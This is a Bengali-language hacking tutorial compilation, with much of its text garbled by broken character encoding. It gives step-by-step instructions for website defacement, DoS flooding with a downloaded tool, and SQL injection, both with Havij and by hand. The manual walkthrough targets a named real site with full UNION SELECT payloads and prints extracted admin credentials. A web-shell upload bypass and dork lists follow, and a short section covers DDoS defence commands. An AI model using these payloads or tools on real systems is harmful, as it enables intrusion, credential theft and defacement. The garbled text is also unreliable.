কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
